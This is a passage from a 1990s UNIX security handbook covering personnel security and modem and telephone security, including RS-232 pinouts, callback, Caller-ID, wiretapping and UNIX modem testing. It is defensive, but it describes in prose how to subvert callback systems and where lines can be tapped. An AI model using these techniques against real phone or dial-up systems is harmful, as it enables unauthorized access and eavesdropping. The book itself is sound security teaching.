This principle states that you should carefully separate duties so that people involved in checking for inappropriate use are not also capable of making such inappropriate use. Thus, having all the security functions and audit responsibilities reside in the same person is dangerous. This practice can lead to a case in which the person may violate security policy and commit prohibited acts, yet in which no other person sees the audit trail to be alerted to the problem.

Beware Key Employees

No one in an organization should be irreplaceable, because no human is immortal. If your organization depends on the ongoing performance of a key employee, then your organization is at risk.

Organizations cannot help but have key employees. To be secure, organizations should have written policies and plans established for unexpected illness or departure.

In one case that we are familiar with, a small company with 100 employees had spent more than 10 years developing its own custom-written accounting and order entry system. The system was written in a programming language that was not readily known, originally provided by a company that had possibly gone out of business. Two people understood the organization's system: the MIS director and her programmer. These two people were responsible for making changes to the account system's programs, preparing annual reports, repairing computer equipment when it broke, and even performing backups (which were stored, off-site, at the MIS director's home office).

What would happen if the MIS director and her programmer were killed one day in a car accident on their way to meet with a vendor? What would happen if the MIS director were offered a better job, at twice the salary?

That key personnel are irreplaceable is one of the real costs associated with computer systems - one that is rarely appreciated by an organization's senior management. The drawbacks of this case illustrate one more compelling reason to use off-the-shelf software, and to have established written policies and procedures, so that a newly hired replacement can easily fill another's shoes.

13.2.6 Departure

Personnel leave, sometimes on their own, and sometimes involuntarily. In either case, you should have a defined set of actions for how to handle the departure. This procedure should include shutting down accounts; forwarding email; changing critical passwords, phone numbers, and combinations; and otherwise removing access to your systems.

In some environments, this suggestion may be too drastic. In the case of a university, for instance, graduated students might be allowed to keep accounts active for months or years after they leave. In such cases, you must determine exactly what access is to be allowed and what access is to be disallowed. Make certain that the personnel involved know exactly what the limits are.

In other environments, a departure is quite sudden and dramatic. Someone may show up at work, only to find the locks changed and a security guard waiting with a box containing everything that was in the user's desk drawers. The account has already been deleted; all system passwords have been changed; and the user's office phone number is no longer assigned. This form of separation management is quite common in financial service industries, and is understood to be part of the job.

Previous: 13.1 Background Checks | Practical UNIX & Internet Security | Next: 13.3 Outsiders
13.1 Background Checks | Book Index | 13.3 Outsiders


[Chapter 13] 13.3 Outsiders

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 13.2 On the Job Chapter 13
Personnel Security 		Next: IV. Network and Internet Security

13.3 Outsiders

Visitors, maintenance personnel, contractors, vendors, and others may all have temporary access to your location and to your systems. They are people too, and could be a part of that 100% pool we mentioned at the beginning of this chapter. You should consider how everything we discussed earlier can be applied to these people with temporary access. At the very least, no one from the outside should be allowed unrestricted physical access to your computer and network equipment.

Previous: 13.2 On the Job | Practical UNIX & Internet Security | Next: IV. Network and Internet Security
13.2 On the Job | Book Index | IV. Network and Internet Security


[Chapter 14] Telephone Security

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: IV. Network and Internet Security Chapter 14 Next: 14.2 Serial Interfaces

14. Telephone Security

Contents:
Modems: Theory of Operation
Serial Interfaces
The RS-232 Serial Protocol
Modems and Security
Modems and UNIX
Additional Security for Modems

A main function of modern computers is to enable communications - sending electronic mail, news bulletins, and documents across the office or around the world. After all, a computer by itself is really nothing more than an overgrown programmable calculator - a word processor with delusions of grandeur. But with a modem or a network interface, computers can "speak" and send information.

A good communications infrastructure works both ways: not only does it let you get information out, it also lets you get back in to your computer when you're at home or out of town. If your computer is equipped with a modem that answers incoming telephone calls, you can dial up when you're sick or on vacation and read your electronic mail, keep informed with your online news services, or even work on a financial projection if the whim suddenly strikes you. You can almost believe that you never left the office in the first place!

But in the world of computer security, good communications can be a double-edged sword. Communications equipment can aid attackers and saboteurs while it enables you to get information in and out easily. As with most areas of computer security, the way to protect yourself is not to shun the technology, but to embrace it carefully, making sure that it can't be turned against you.

14.1 Modems: Theory of Operation

Modems are devices that let computers transmit information over ordinary telephone lines. The word explains how the device works: modem is an acronym for "modulator/demodulator." Modems translate a stream of information into a series of tones (modulating) at one end of the telephone line, and translate the tones back into the serial stream at the other end of the connection (demodulating). Most modems are bidirectional - every modem contains both a modulator and a demodulator, so a data transfer can take place in both directions simultaneously.

Modems have a flexibility that is unparalleled by other communications technologies. Because modems work with standard telephone lines, and use the public telephone network to route their conversations, any computer that is equipped with a modem and a telephone line can communicate with any other computer that has a modem and a telephone line, anywhere in the world. Thus, even in this age of the Internet and local area networks, modems are still the single most common way that people access computers remotely. This trend is likely to continue into at least the near future, especially with the continuing popularity of specialized dial bulletin board systems (BBSS).

Early computer modems commonly operated at 110 or 300 baud, transmitting information at a rate of 10 or 30 characters per second, respectively. Today, in 1996, few computer modems are sold that are not capable of 14,400 bits per second (bps), and modems that zip along at 28,800 bps are increasingly popular. Some modems that send data synchronously, with a precision clock, are capable of rates in excess of 100,000 bps. Special modems on digital ISDN lines are also capable of speeds in excess of 100,000 bps. With data compression included, and new technology constantly being offered, we expect to see common modems with increasingly higher speeds (and smaller physical sizes) as time goes on.

Baud and bps

Baud is named after the 19th-century French inventor, J. M. E. Baudot. He invented a method of encoding letters and digits into bit patterns for transmission. A 5-bit descendent of his code is still used in today's TELEX systems.

5 to 12 bits are required to transmit a "standard" character, depending on whether we make upper/lower case available, transmit check-bits, and so on. A multi-byte character code may require many times that for each character. The standard ISO 8859-1 character set requires eight bits per character, and simple ASCII requires seven bits. Computer data transmitted over a serial line usually consists of one start bit, seven or eight data bits, one parity or space bit, and one stop bit. The number of characters per second is thus usually equal to the number of bits per second divided by 10.

The word "baud[1]" refers to the number of audible tokens per second that are sent over the telephone line. On 110- and 300-bits-per-second (bps) modems, the baud rate equals the bps rate. On 1200-, 2400-, and higher-bps modems, a variety of audible encoding techniques are used to cram more information into each audible token. TDD phone devices for the deaf use a lower-speed modem than modern computers usually do.

[1] The "baud" is not to be confused with the "bawd," which is the rate at which juveniles transmit risqué pictures over network connections.

Previous: IV. Network and Internet Security | Practical UNIX & Internet Security | Next: 14.2 Serial Interfaces
IV. Network and Internet Security | Book Index | 14.2 Serial Interfaces


[Chapter 14] 14.2 Serial Interfaces

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 14.1 Modems: Theory of Operation Chapter 14
Telephone Security 		Next: 14.3 The RS-232 Serial Protocol

14.2 Serial Interfaces

Information inside most computers moves in packets of 8, 16, or 32 bits at a time, using 8, 16, or 32 individual wires. When information leaves a computer, however, it is often divided into a series of single bits that are transmitted sequentially. Often, these bits are grouped into 8-bit bytes for purposes of error checking or special encoding. Serial interfaces transmit information as a series of pulses over a single wire. A special pulse called the start bit signifies the start of each character. The data is then sent down the wire, one bit at a time, after which another special pulse called the stop bit is sent (see Figure 7.1).

Figure 14.1: A serial interface sending the letter K (ASCII 75)

Because a serial interface can be set up with only three wires (transmit data, receive data, and ground), it's often used with terminals. With additional wires, serial interfaces can be used to control modems, allowing computers to make and receive telephone calls.

Previous: 14.1 Modems: Theory of Operation | Practical UNIX & Internet Security | Next: 14.3 The RS-232 Serial Protocol
14.1 Modems: Theory of Operation | Book Index | 14.3 The RS-232 Serial Protocol


[Chapter 14] 14.3 The RS-232 Serial Protocol

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 14.2 Serial Interfaces Chapter 14
Telephone Security 		Next: 14.4 Modems and Security

14.3 The RS-232 Serial Protocol

One of the most common serial interfaces is based on the RS-232 standard, which was developed primarily to allow individuals to use terminals with remote computer systems over a telephone line more easily.

The basic configuration of a terminal and a computer connected by two modems is shown in Figure 7.2.

Figure 14.2: A terminal and a computer connected by two modems

The computer and terminal are called data terminal equipment (DTE), while the modems are called data communication equipment (DCE). The standard RS-232 connector is a 25-pin D-shell type connector; only nine pins are used to connect the DTE and DCE sides together, as seen in Figure 14.3.

Figure 14.3: The standard 25-pin RS-232 connector

Of these nine pins, only transmit data (pin 2), receive data (pin 3), and signal ground (pin 7) are essential for directly wired communications. Five pins (2, 3, 7, 8, and 20) are needed for proper operation of modems. Frame ground (pin 1) was originally used to connect electrically the physical frame of the DCE and the frame of the DTE to reduce electrical hazards, although its use has been discontinued in the RS-232-C standard. Table 14.1 describes the use of each pin.

Table 14.1: .RS-232 Pin Assignments for a 25-Pin Connector
Pin | Code | Name | Description
1 | FG | Frame Ground | Chassis ground of equipment. (Note: this pin is historical; modern systems don't connect the electrical ground of different components together, because such a connection causes more problems than it solves.)
2 | TD | Transmit Data | Data transmitted from the computer or terminal to the modem.
3 | RD | Receive Data | Data transmitted from the modem to the computer.
4 | RTS | Request to Send | Tells the modem when it can transmit data. Sometimes the computer is busy and needs to have the modem wait before the next character is transmitted. Used for "hardware flow control."
5 | CTS | Clear to Send | Tells the computer when it's okay to transmit data. Sometimes the modem is busy and needs to have the computer wait before the next character is transmitted. Used for "hardware flow control."
6 | DSR | Data Set Ready | Tells the computer that the modem is turned on. The computer should not send the modem commands if this signal is not present.
7 | SG | Signal Ground | Reference point for all signal voltages.
8 | DCD | Data Carrier Detect | Tells the computer that the modem is connected by telephone with another modem. UNIX may use this signal to tell it when to display a login:banner.
22 | RI | Ring Indicator | Tells the computer that the telephone is ringing.
20 | DTR | Data Terminal Ready | Tells the modem that the computer is turned on and ready to accept connections. The modem should not answer the telephone - and it should automatically hang up on an established conversation - if this signal is not present.

Because only eight pins of the 25-pin RS-232 connector are used, the computer industry has largely moved to smaller connectors that have fewer pins and cost less money to produce. Most PCs are equipped with a 9-pin RS-232 connector, which has pin assignments: listed in Table 14.2.

Table 14.2: .RS-232 Pin Assignments for 25- and 9-pin Connectors
Code | Name | 25-pin Connector Assignment | 9-pin Connector Assignment
TD | Transmit Data | 2 | 3
RD | Receive Data | 3 | 2
RTS | Request to Send | 4 | 7
CTS | Clear to Send | 5 | 8
DSR | Data Set Ready | 6 | 6
SG | Signal Ground | 7 | 5
DCD | Data Carrier Detect | 8 | 1
DTR | Data Terminal Ready | 20 | 4
RI | Ring indicator | 22 | 9

A number of nonstandard RS-232 connectors are also in use. The Apple Macintosh computer uses a circular 9-pin DIN connector, and there are several popular (and incompatible) systems for using standard modular telephone cords.

In general, you should be suspicious of any RS-232 system that claims to carry all eight signals between the data set and the data terminal without the full complement of wires.

14.3.1 Originate and Answer

Modern modems can both place and receive telephone calls. After a connection between two modems is established, information that each modem receives on the TD pin is translated into a series of tones that are sent down the telephone line. Likewise, each modem takes the tones that it receives through its telephone connection, passes them through a series of filters and detectors, and eventually translates them back into data that is transmitted on the RD pin.

To allow modems to transmit and receive information at the same time, different tones are used for each direction of data transfer. By convention, the modem that places the telephone call runs in originate mode and uses one set of tones, while the modem that receives the telephone call operates in answer mode and uses another set of tones.

High-speed modems have additional electronics inside them that perform data compression before the data is translated into tones. Some high-speed modems automatically reallocate their audio spectrum as the call progresses to maximize signal clarity and thus maximize data transfer speed. Others allocate a high-speed channel to the answering modem and a low-speed channel to the originating modem, with provisions for swapping channels should the need arise.

Further details on modem operation are available from any reasonably current book on data communications. Some are listed in Appendix D, Paper Sources.

Previous: 14.2 Serial Interfaces | Practical UNIX & Internet Security | Next: 14.4 Modems and Security
14.2 Serial Interfaces | Book Index | 14.4 Modems and Security


[Chapter 14] 14.4 Modems and Security

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 14.3 The RS-232 Serial Protocol Chapter 14
Telephone Security 		Next: 14.5 Modems and UNIX

14.4 Modems and Security

Modems raise a number of security concerns because they create links between your computer and the outside world. Modems can be used by individuals inside your organization to remove confidential information. Modems can be used by people outside your organization to gain unauthorized access to your computer. If your modems can be reprogrammed or otherwise subverted, they can be used to trick your users into revealing their passwords. And, finally, an attacker can eavesdrop on a modem communication.

Today, modems remain a popular tool for breaking into large corporate networks. The reason is simple: while corporations closely monitor their network connections, modems are largely unguarded. In many organizations, there is no good way to prevent users from putting modems on their desktop computers and running "remote access" software.

So what can be done? To maximize security, modems should be provided by the organization and administered in a secure fashion.

The first step is to protect the modems themselves. Be sure they are located in a physically secure location, so that no unauthorized individual can access them. This protection is to prevent the modems from being altered or rewired. Some modems can have altered microcode or passwords loaded into them by someone with appropriate access, and you want to prevent such occurrences. You might make a note of the configuration switches (if any) on the modem, and periodically check them to be certain they remain unchanged.

Many modems sold these days allow remote configuration and testing. This capability makes changes simpler for personnel who manage several remote locations. It also makes abusing your modems simpler for an attacker. Therefore, be certain that such features, if present in your modems, are disabled.

The next most important aspect of protecting your modems is to protect their telephone numbers. Treat the telephone numbers for your modems the same as you treat your passwords: don't publicize them to anyone other than those who have a need to know. Making the telephone numbers for your modems widely known increases the chances that somebody might try to use them to break into your system. We'll describe some approaches in later sections.

Unfortunately, you cannot keep the telephone numbers of your modems absolutely secret. After all, people do need to call them. And even if you were extremely careful with the numbers, an attacker could always discover the modem numbers by dialing every telephone number in your exchange. For this reason, simple secrecy isn't a solution; your modems need more stringent protection.[2]

[2] You might think about changing your modem phone numbers on a yearly basis as a basic precaution.

14.4.1 One-Way Phone Lines

Most sites set up their modems and telephone lines so that they can both initiate and receive calls. Under older versions of UNIX, you could not use a modem for both purposes. Many vendors developed their own mechanisms to allow modems to be used bidirectionally.

Having modems be able to initiate and receive calls may seem like an economical way to make the most use of your modems and phone lines. However, the feature introduces a variety of significant security risks:

  • Toll fraud can only be committed on telephone lines that can place outgoing calls. The more phones you have that can place such calls, the more time and effort you will need to spend to make sure that your outbound modem lines are properly configured.

  • If phone lines can be used for either inbound or outbound calls, then you run the risk that your inbound callers will use up all of your phone lines and prevent anybody on your system from initiating an outgoing call. (You also run the risk that all of your outbound lines may prevent people from dialing into your system.) By forcing telephones to be used for either inbound or outbound calls, you assure that one use of the system will not preclude the other.

  • If your modems are used for both inbound and outbound calls, an attacker can use this capability to subvert any callback systems (see the sidebar) that you may be employing.

Your system will therefore be more secure if you use separate modems for inbound and outbound traffic.

You may further wish to routinely monitor the configuration of your telephone lines to check for the following conditions:

  • Check to make sure that telephone lines used only for inbound calls cannot place outbound calls.

  • Check to make sure that telephone lines that are not used to call long-distance telephone numbers in fact cannot place long-distance telephone calls.

14.4.2

Subverting Callback

A callback scheme is one in which an outsider calls your machine, connects to the software, and provides some form of identification. The system then severs the connection and calls the outsider back at a predetermined phone number. This scheme enhances security because the system will dial only preauthorized numbers, so an attacker cannot get the system to initiate a connection to his or her modem.

Unfortunately, callback can be subverted if the same modem that the outsider called is used to call the user back. Many phone systems, and especially some PBX systems, will not disconnect a call initiated from an outside line until the outside line is hung up.

To subvert such a callback system, the attacker merely calls the "callback modem" and then does not hang up when the modem attempts to sever the connection. The modem tries to hang up, then picks the phone back up and tries to dial out. The attacker's modem is then set to answer the callback modem, and the system is subverted. This type of attack can also be performed on systems that are not using a callback, but are doing normal dialout operations. For example, the attack can be used to intercept messages that are sent over a UUCP connection; the attacker merely configures a computer system to have the same name and UUCP login account as the system that is being called.

Some callback systems attempt to get around this problem by waiting for a dial tone. Unfortunately, these modems can be fooled by an attacker who simply plays a recording of a dial tone over the open line.

The only way to foil an attacker who is attempting this kind of trick is to have two sets of modems - one set for dialing in, and one set for dialing out. To make this work, you should have the telephone company install the lines so that the incoming lines cannot be used to dial out, and the outgoing lines have no telephone number for dialing in. This setup costs more than a regular line, but adds an extra measure of security for your phone connections.

Note that even with these precautions, there are other ways to subvert a calback. For example, someone could install call-forwarding on the called-back number and reroute the call through the switches at the phone company. Callback schemes can enhance your system's overall security, but you should not depend on them as your only means of protection.

14.4.3 Caller-ID (CNID)

In many areas, you can purchase an additional telephone service called Caller-ID. As its name implies, Caller-ID identifies the phone number of each incoming telephone call. The phone number is usually displayed on a small box next to the telephone when the phone starts ringing. (Note that this feature may not be available to you if you own your own PBX or switch.)

The telephone company sells Caller-ID on the virtues of its privacy and security: by knowing the phone number of an incoming call, you can make the decision as to whether or not you wish to answer it.

Caller-ID can also be used with computers. Several modem makers now support Caller-ID directly. With one of these modems, you can program the modem to send the telephone number of the calling instrument to the computer. You can then write custom software to limit incoming calls to a specified list of phone numbers, or to only allow certain users to use certain phones.

The telephone company's Integrated Services Digital Network (ISDN[3]) digital phone service also provides the phone number of the caller through a similar service called Automatic Number Identification (ANI). This service is available to many corporate 800-number subscribers. ISDN offers yet another service called Restricted Calling Groups, which allows you to specify a list of phone numbers that are allowed to call your telephone number. All other callers are blocked.

[3] In many areas of the country, ISDN still stands for "Interesting Services Doing Nothing."

Advanced telephone services such as these are only as secure as the underlying telephone network infrastructure: if an attacker managed to break into the telephone company's computers, that attacker could reprogram them to display incorrect numbers on the Caller-ID display, or to bypass Restricted Calling Groups. Although there are no officially acknowledged cases of such attacks, the possibility exists, and many credible but "informal" accounts of such incidents have been recounted.

14.4.4 Protecting Against Eavesdropping

Modems that are not adaptive are very susceptible to eavesdropping and wiretapping. Non-adaptive modems include data modems that are slower than 9600 baud and most fax modems. The conversations between these modems can be recorded with a high-quality audio tape and played into a matching unit at a later point in time, or the telephone line can simply be bridged and fed into a separate surveillance modem. Cellular telephone modems are even easier to tap, as their communications are broadcast and readily intercepted by anyone.

Adaptive modems are less susceptible to eavesdropping with ordinary equipment, although even their communications may be intercepted using moderately sophisticated techniques.

How common is electronic eavesdropping? No one can say with certainty. As Whitfield Diffie points out, for electronic eavesdropping to be effective, the target must be unaware of its existence or take no precautions. Unfortunately, such a scenario is often the case.

14.4.4.1 Kinds of eavesdropping

There are basically four different places where a telephone conversation can be tapped:

  • At your premises. Using a remote extension, an attacker can place a second telephone or a tape recorder in parallel with your existing instruments. Accessible wiring closets with standard punch-down blocks for phone routing make such interception trivial to accomplish and difficult to locate by simple inspection. An inductive tap can also be used, and this requires no alternation to the wiring.

  • On the wire between your premises and the central office. An attacker can splice monitoring equipment along the wire that gives you telephone service. In many cities, especially older ones, many splices already exist, and a simple pair of wires can literally go all over town and into other people's homes and offices without anybody's knowledge.

  • At the phone company's central office. A tap can be placed on your line by employees at the telephone company, operating in either an official or an unofficial capacity. If the tap is programmed into the telephone switch itself, it may be almost impossible to detect its presence.[4] Hackers who penetrate the phone switches can also install taps in this manner (and, allegedly, have done so).

    [4] Under the terms of the 1994 Communications Assistance to Law Enforcement Act (formerly called the Digital Telephony Act), telephone providers have a legal obligation to make it impossible to detect a lawfully ordered wiretap.

  • Along a wireless transmission link. If your telephone call is routed over a satellite or a microwave link, a skillful attacker can intercept and decode that radio transmission.

Who might be tapping your telephone lines? Here are some possibilities:

  • A spouse or coworker. A surprising amount of covert monitoring takes place in the home or office by those we trust. Sometimes the monitoring is harmless or playful; other times, there are sinister motives.

  • Industrial spies. A tap may be placed by a spy or a business competitor seeking proprietary corporate information. According to Current and Future Danger, a 1995 publication by the Computer Security Institute, the monthly theft of proprietary data increased 260% from 1988 to 1993, and over 30% of those cases included foreign involvement. As almost 75% of businesses have some proprietary information of significant competitive value, the potential for such losses should be a concern.

  • Law enforcement. In 1994, U.S. law enforcement officials obtained court orders to conduct 1,154 wiretaps, according to the Administrative Office of the United States Courts. A large majority of those intercepts, 76%, were the result of ongoing drug investigations. Wiretaps are also used to conduct investigations in terrorism, white-collar crime, and organized crime.

    Law enforcement agents may also conduct illegal wiretaps - wiretaps for which the officers have no warrant. Although information obtained from such a wiretap cannot be used in court as evidence, it can be used to obtain a legal wiretap or even a search warrant. (In the late 1980s and early 1990s, there was an explosion in the use of unnamed, paid informants by law enforcement agencies in the United States.) Information could also be used for extralegal purposes, such as threats, intimidation, or blackmail.

14.4.4.2 Protection against eavesdropping

There are several measures that you can take against electronic eavesdropping, with varying degrees of effectiveness:

  • Visually inspect your telephone line.

    Look for spliced wires, taps, or boxes that you cannot understand. Most eavesdropping by people who are not professionals is very easy to detect.

  • Have your telephone line electronically "swept."

    Using a device called a signal reflectometer, a trained technician can electronically detect any splices or junctions on your telephone line. Junctions may or may not be evidence of taps; in some sections of the country, many telephone pairs have multiple arms that take them into several different neighborhoods. If you do choose to sweep your line, you should do so on a regular basis. Detecting a change in a telephone line that has been watched over time is easier than looking at a line one time only and determining if the line has a tap on it.

    Sweeping may not detect certain kinds of taps, such as digital taps conducted by the telephone company for law enforcement agencies or other organizations, nor will it detect inductive taps.

  • Use cryptography.

    A few years ago, cryptographic telephones or modems cost more than $1,000 and were only available to certain purchasers. Today, there are devices costing less than $300 that fit between a computer and a modem and create a cryptographically secure line. Most of these systems are based on private key cryptography and require that the system operator distribute a different key to each user. In practice, such restrictions pose no problem for most organizations. But there is also a growing number of public key systems, which offer simple-to-use security that is still of the highest caliber. There are also many affordable modems that include built-in encryption and which require no special unit to work.

Previous: 14.3 The RS-232 Serial Protocol | Practical UNIX & Internet Security | Next: 14.5 Modems and UNIX
14.3 The RS-232 Serial Protocol | Book Index | 14.5 Modems and UNIX


[Chapter 14] 14.5 Modems and UNIX

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 14.4 Modems and Security Chapter 14
Telephone Security 		Next: 14.6 Additional Security for Modems

14.5 Modems and UNIX

UNIX can use modems both for placing calls (dialing out) and for receiving them (letting other people dial in).

If you are calling out, you can call computers running any operating system. Outgoing calls are usually made with the tip or cu commands. If you call a computer that's running the UNIX operating system, you may be able to use a simple file-transfer system built into tip and cu. Unfortunately, such a system performs no error checking or correction and works only for transferring text files.

Another popular program for dialing out is kermit, from Columbia University. Besides performing terminal emulation, kermit also allows reliable file transfer between different kinds of computers. Versions of kermit are available for practically every kind of computer in existence.

You can also set up your computer's modem to let people with their own modems call into your computer. There are many reasons why you might wish to do this:

  • If you have many people within your organization who want to use your computer, but they need to use it only infrequently, the most cost-effective approach might be to have each employee call your computer, rather than wiring terminal lines to every person's office.

  • If some people in your organization travel a lot, they might want to use a modem to access the computer when they're out of town.

  • If people in your organization want to use the computer from their homes after hours or on weekends, a modem will allow them to do so.

  • You can have administrators do some remote maintenance and administration when they are "on call."

UNIX also uses modems with the UUCP (UNIX-to-UNIX Copy) network system, which allows different computers to exchange electronic mail; we discuss UUCP in detail in Chapter 15, UUCP. You can also use modems with SLIP (Serial Line Internet Protocol) or PPP (Point-to-Point Protocol) to integrate remote computers transparently with local area networks. To set up a UUCP, SLIP, or PPP link between two computers, one computer must be able to place telephone calls and the other must be able to receive them.

Despite these benefits, modems come with many risks. Because people routinely use modems to transmit their usernames and passwords, you should ensure that your modems are properly installed, behaving properly, and doing exactly what you think they are doing - and nothing else.

14.5.1 Hooking Up a Modem to Your Computer

Because every computer and every modem is a little different, follow your manufacturer's directions when connecting a modem to your computer. Usually, there is a simple, ready-made cable that can be used to connect the two. If you are lucky, that cable may even come in the same box as your modem.

After the modem is physically connected, you will need to set up a number of configuration files on your computer so that your system knows where the modem is connected and what kind of commands it responds to.

On Berkeley-derived systems, you may have to modify the files /etc/ttys, /etc/remote, and /usr/lib/uucp/L-devices if you wish to use UUCP. On System V systems, you may have to modify the files /etc/inittab and /usr/lib/uucp/Devices. You may also have to create a special device file in the /dev directory, or change the permissions on an existing file. The formats of these files are discussed in Chapter 15, UUCP.

Depending on the software you are using, you should also check the permissions on any configuration files used with your modem software. These may include files of commands, phone numbers, PPP or SLIP initialization values, and so on. As the number and location of these files vary considerably from system to system, we can only suggest that you read the documentation carefully for the names of any auxiliary files that may be involved. Pay special attention to any man pages associated with the software as they often include a section entitled "Files" that names associated files.

14.5.2 Setting Up the UNIX Device

Each version of UNIX has one or more special devices in the /dev directory that are dedicated to modem control. Some of the names that we have seen are:

/dev/cua*
/dev/ttyda
/dev/ttys[0-9]
/dev/tty1A
/dev/modem
/dev/ttydfa

Some versions of UNIX use the same devices for inbound and outbound calls; others use different names for each purpose, even though the names represent the same physical device. Check your documentation to see what the filenames are for your system.

Permissions for the UNIX devices associated with modems should be set to mode 600 and owned by either root or uucp. If the modem device is made readable by group or world, it might be possible for users to intercept incoming phone calls and eavesdrop on ongoing conversations, or create Trojan Horse programs that invite unsuspecting callers to type their usernames and passwords.

Permissions for the UNIX devices associated with the outgoing modems should also be set so that the modems cannot be accessed by ordinary users. Usually, these permissions are achieved by setting the devices to mode 600, and are owned by either root or uucp. To make an outgoing call, users must then use a specially designated communications program such as tip or cu. These systems must be installed SUID so that they can access the external device.

You can check the ownership and modes of these devices with the ls command:

% ls -lgd /dev/cu*
crw----- 1 uucp     wheel    11,192 Oct 20 10:38 /dev/cua
crw----- 1 uucp     wheel    11,193 Dec 21 1989  /dev/cub
%

14.5.3 Checking Your Modem

After your modem is connected, you should thoroughly test its ability to make and receive telephone calls. First, make sure that the modem behaves properly under normal operating circumstances. Next, make sure that when something unexpected happens, the computer behaves in a reasonable and responsible way. For example, if a telephone connection is lost, your computer should kill the associated processes and log the user out, rather than letting the next person who dials in type commands at the previous shell. Most of this testing will ensure that your modem's control signals are being properly sent to the computer (so that your computer knows when a call is in progress), as well as ensuring that your computer behaves properly with this information.

14.5.3.1 Originate testing

If you have configured your modem to place telephone calls, you need to verify that it always does the right thing when calls are placed as well as when they are disconnected.

To test your modem, you must call another computer that you know behaves properly. (Do not place a call to the same computer that you are trying to call out from; if there are problems, you may not be able to tell where the problem lies.)

Test as follows:

  1. Try calling the remote computer with the tip or cu command. When the computer answers, you should be able to log in and use the remote computer as if you were connected directly.

  2. Hang up on the remote computer by pulling the telephone line out of the originating modem. Your tip or cu program should realize that the connection has been lost and return you to the UNIX prompt.

  3. Call the remote computer again and this time hang up by turning off your modem. Again, your tip or cu program should realize that something is wrong and return you to the UNIX prompt.

  4. Call the remote computer again. This time, leave the telephone connection intact and exit your tip or cu program by typing the following sequence:

    carriage return, tilde (~), period (.), carriage return

Your modem should automatically hang up on the remote computer.

  1. Call the remote computer one last time. This time, do a software disconnect by killing the tip or cu process on your local computer from another terminal. (You may need to be the superuser to use the kill command to kill the other process. See Appendix C, UNIX Processes, for details about how to use these commands.) Once again, your modem should automatically hang up on the remote computer.

The above sequence of steps checks out the modem control signals between your computer and your modem. If things do not work properly, then one of the following may be a problem:

  • The cable connecting your modem and computer may be shorting together several pins, may have a broken wire, or may be connecting the wrong pins on each connector together.

  • Your modem may not be properly configured. Many modems have switches or internal registers that can make the modem ignore some or all of the modem control signals.

  • You may be using the wrong UNIX device. Many versions of UNIX have several different devices in the /dev directory for referring to each physical serial port. Usually one of these devices uses the modem control signals, while others do not. Check your documentation and make sure you're using the proper device.

  • Your software vendor might not have figured out how to make a tty driver that works properly. Many older versions of DEC's Ultrix had problems with their tty drivers, for example.

Other things to check for dialing out include:

  • Make sure there is no way to enter your modem's programming mode by sending an " escape sequence." An escape sequence is a sequence of characters that lets you reassert control over the modem and reprogram it. Most UNIX modem control programs will disable the modem's escape sequence, but some do not.[5]

    [5] Most modems that use the Hayes "AT" command set, for example, can be forced into programming mode by allowing a three-second pause; sending three plus signs (+), the default escape character, in quick succession; and waiting another three seconds. If your modem prints "OK," then your modem's escape sequence is still active.

    If your modem's escape sequence is not disabled, consult your modem documentation or contact your modem vendor to determine how to disable the sequence. This step may require you to add some additional initialization sequence to the modem software, or set some configuration switches.

  • Verify that your modems lock properly. Be sure that there is no way for one user to make tip or cu use a modem that is currently in use by another user or by the UUCP system. Likewise, make sure that UUCP does not use a telephone line that is being used interactively.

Finally, verify that every modem connected to your computer works as indicated above. Both cu and tip allow you to specify which modem to use with the -l option. Try them all.

If the cu or tip program does not exit when the telephone is disconnected, or if it is possible to return the modem to programming mode by sending an escape sequence, a user may be able to make telephone calls that are not logged. A user might even be able to reprogram the modem, causing it to call a specific phone number automatically, no matter what phone number it was instructed to call. At the other end, a Trojan horse might be waiting for your users.

If the modem does not hang up the phone when cu exits, it can result in abnormally high telephone bills. Perhaps more importantly, if a modem does not hang up the telephone when the tip or cu program exits, then your user might remain logged into the remote machine. The next person who uses the tip or cu program would then have full access to that first user's account on the remote computer.

14.5.3.2 Answer testing

To test your computer's answering ability, you need another computer or terminal with a second modem to call your computer.

Test as follows:

  1. Call your computer. It should answer the phone on the first few rings and print a login: banner. If your modem is set to cycle among various baud rates, you may need to press the BREAK or linefeed key on your terminal a few times to synchronize the answering modem's baud rate with the one that you are using. You should not press BREAK if you are using a MNP modem that automatically selects baud rate.

  2. Log in as usual. Type tty to determine for sure which serial line you are using. Then log out. Your computer should hang up the phone. (Some versions of System V UNIX will instead print a second login: banner. Pressing CTRL-D at this banner may hang up the telephone.)

  3. Call your computer and log in a second time. This time, hang up the telephone by pulling the telephone line out of the originating modem. This action simulates having the phone connection accidentally broken. Call your computer back on the same telephone number. You should get a new login: banner. You should not be reconnected to your old shell; that shell should have had its process destroyed when the connection was broken. Type tty again to make sure that you got the same modem. Use the ps command to ensure that your old process was killed. UNIX must automatically log you out when the telephone connection is broken. Otherwise, if the telephone is accidentally hung up and somebody else calls your computer, that person will be able to type commands as if he was a legitimate user, without ever having to log in or enter a password.

  4. Verify that every modem connected to your computer behaves in this manner. Call the modem with a terminal, log in, then unplug the telephone line going into the originating modem to hang up the phone. Immediately redial the UNIX computer's modem and verify that you get a new login: prompt.

NOTE: Even though UNIX should automatically log you out when you hang up the telephone, do not depend on this feature. Always log out of a remote system before disconnecting from it.

  1. If you have several modems connected to a hunt group (a pool of modems where the first non-busy one answers, and all calls are made to a single number), make sure that the group hunts properly. Many don't - which results in callers getting busy signals even when there are modems available.

14.5.3.3 Privilege testing

Programs such as cu and tip usually must run SUID so that they can manipulate the devices associated with the modems. However, these programs are specially designed so that if the user attempts a shell escape, the command runs with the user's UID and not the program's. (Likewise, if the user tries to redirect data to or from a file, cu and tip are careful not to give the user access to a file to which the user would normally not otherwise have access.) You should check your versions of cu and tip to make sure that users are not granted any special privileges when they run these programs.

One way to check to make sure your program is properly configured is to use cu or tip to connect to a remote machine and then use a shell escape that creates a file in the /tmp directory. Then, look at the file to see who owns it. For example:

% tip 5557000
connected
login:
~!
[sh]
% touch /tmp/myfile
% ls -l /tmp/myfile
-rw-r--r-- 1 jason          0 Jul 12 12:19 /tmp/myfile
%

The file should be owned by the user who runs the cu or tip program, and not by root or uucp.

Some communications programs, such as kermit, must be installed SUID uucp, and not root. For example, if you try to run kermit if it is SUID root, you will get the following message:

unix% kermit
